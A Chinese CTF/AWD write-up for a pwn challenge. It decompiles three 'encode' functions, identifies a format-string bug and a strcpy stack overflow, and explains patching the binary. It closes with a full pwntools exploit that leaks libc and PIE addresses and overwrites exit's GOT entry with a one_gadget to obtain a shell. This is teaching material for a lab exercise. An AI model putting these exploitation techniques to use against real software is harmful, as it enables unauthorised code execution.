题目

开局一个菜单
一开始循环一次就会执行exit退出

encode1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
unsigned __int64 encode1()
{
unsigned int v1; // [rsp+8h] [rbp-38h]
unsigned int v2; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("==========encode1==========");
puts("keys?");
v1 = read(0, buf, 0x20uLL);
printf("Your key:%s", buf);
puts("your message to encode:");
v2 = read(0, &src, 0x150uLL);
sub_B31(buf, &src, v1, v2);
puts("after encoding...");
puts(&src);
puts("nice encoding...");
return __readfsqword(0x28u) ^ v4;
}
__int64 __fastcall sub_B31(__int64 a1, __int64 a2, int a3, int a4)
{
__int64 result; // rax
char v5; // [rsp+23h] [rbp-5h]
int v6; // [rsp+24h] [rbp-4h]
unsigned int i; // [rsp+24h] [rbp-4h]

v6 = 0;
v5 = 0;
while ( v6 < a3 )
v5 ^= *(v6++ + a1);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a4 )
break;
*(a2 + i) = v5 ^ *(i + a2);
}
return result;
}

encode2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 encode2()
{
unsigned int v1; // [rsp+Ch] [rbp-164h]
unsigned __int64 v2; // [rsp+168h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("==========encode2==========");
puts("your message to encode:");
v1 = read(0, byte_202210, 0x18uLL);
puts("after encoding...");
sub_BA9(byte_202210, v1);
printf(byte_202210);
puts("nice encoding...");
return __readfsqword(0x28u) ^ v2;
}
__int64 __fastcall sub_BA9(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+18h] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(i + a1) = 4 * (*(i + a1) & 0xC) + 4 * (*(i + a1) & 0x30) + ((*(i + a1) & 0xC0) >> 6) + 4 * (*(i + a1) & 3);
}
return result;
}

encode3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 encode3()
{
unsigned int v1; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("==========encode3==========");
puts("your message to encode:");
v1 = read(0, buf, 0x100uLL);
puts("after encoding...");
sub_C45(buf, v1);
puts(buf);
puts("nice encoding...");
strcpy(buf, &src);
return 0LL;
}
__int64 __fastcall sub_C45(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+18h] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(i + a1) = ((*(i + a1) & 0xC) >> 2) + ((*(i + a1) & 0x30) >> 2) + ((*(i + a1) & 0xC0) >> 2) + (*(i + a1) << 6);
}
return result;
}

可能的攻打思路

比较明显的可以看到encode2中存在格式化字符串漏洞,其变量位于bss段
encode1可输入0x1150字节到src中
encode1中buf长度0x110,strcpy把src复制给buf
不难看到这里存在栈溢出

想法一:多次利用格式化字符串改掉返回地址为onegadget
最终行不通,因为该程序在判断循环结束后执行的是exit退出,不会返回到返回地址

想法二:利用栈溢出进行rop
最终也行不通,因为本题开了canary,则必然存在截断字符'\x00',利用strcpy复制造成后续无法成功布置,无法实施rop

想法三:利用格式化字符串修改exit的got表地址
该方法可行。虽然encode2中变量位于bss段,但是可以通过encode1先给src输入字符,再用encode3把src内容复制到栈上,调试可以发现在这之后进入encode2时,栈上仍然会有部分字符残留,通过控制偏移让格式化字符指向栈上残留的字符,并让该部分字符为got表地址,即可对got表进行修改。把exit的got表地址逐字节修改为one_gadget即可。

awd中修复

  • 当时使用的方法是把printf修改为puts,队友帮忙把src读入字节数改小了
    不过改为puts会造成结尾多一个回车符

  • 另一种修改方式是给格式化字符串补上%s参数
    具体做法是在eh_frame写上%s

然后修改call printf上面的两行汇编

1
2
mov edi, offset 0x1278
mov esi, offset 0x202210

修复后的encode2变化如下

1
printf(byte_202210); --> printf("%s", byte_202210);

须知

  • 首先需要利用encode1覆盖循环标记位
  • encode2中格式化字符串对应的字符串是经过了运算的,需要控制加密后的字符为想要的
    可以暴力打表或者逆运算
    这里主要阐述一下逆运算如何计算

假设加密前字符二进制表示为x=abcdefgh
(x&0b11000000) >>6 即取出第四个字节右移到最低位
(x&0b111111) <<2 即取出低位三个字节左移两位
二者相加得到加密结果:cdefghab

逆运算就明朗了,取出最低位两个字节<<6
取出高位三个字节右移两位
相加即可得到原字符
(0xfc=0b11111100)

1
2
3
4
def de(a):
a = ord(a)
a = ((a&0xfc)>>2) + ((a&3)<<6)
return chr(a)
  • encode1中需要先输入key,再输入src,并进行加密,结果存在src中。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    __int64 __fastcall sub_B31(__int64 a1, __int64 a2, int a3, int a4)
    {
    __int64 result; // rax
    char v5; // [rsp+23h] [rbp-5h]
    int v6; // [rsp+24h] [rbp-4h]
    unsigned int i; // [rsp+24h] [rbp-4h]

    v6 = 0;
    v5 = 0;
    while ( v6 < a3 )
    v5 ^= *(v6++ + a1);
    for ( i = 0; ; ++i )
    {
    result = i;
    if ( i >= a4 )
    break;
    *(a2 + i) = v5 ^ *(i + a2);
    }
    return result;
    }
    观察encode1中的加密算法,假如想让输入内容与存入src的内容相同,则应该让v5等于0
    而v5是通过与key逐字节异或得到的
    所以当key全部为'\0'
    得到的v5就会是0

exp

没有当时的环境了,打的是本地的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('helloworld')

sa = lambda x, y: r.sendafter(x, y)
sla = lambda x, y: r.sendlineafter(x, y)


def de(a):
a = ord(a)
a = ((a&0xfc)>>2) + ((a&3)<<6)
return chr(a)
def encode1(content):
sla('your choice:', '1')
sa('keys?', '\0'*0x20)
sa('your message to encode:', content)
def encode2(content):
sla('your choice:', '2')
tmp = ''
for i in content:
tmp += de(i)
sa('your message to encode:', tmp)
def encode3():
sla('your choice:', '3')
sa('your message to encode:', '\0'*0x20)
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

encode1('\x00'*0x140+'\x14')
encode2('%53$p-%57$p')

r.recvuntil('0x')
base = int(r.recv(12), 16)
r.recvuntil('-0x')
addr = int(r.recv(12), 16)
libc_base = addr-0x020840
one_gadget = libc_base+one[0]
got_addr = base+0x201062+0x58

for i in range(6):
encode1('a'*0x40+'b'*0x20+p64(got_addr+i))
encode3()
off = one_gadget&0xff
pay = '%' + str(off) + 'c' + '%30$hhn'
encode2(pay)
one_gadget = one_gadget>>8


r.interactive()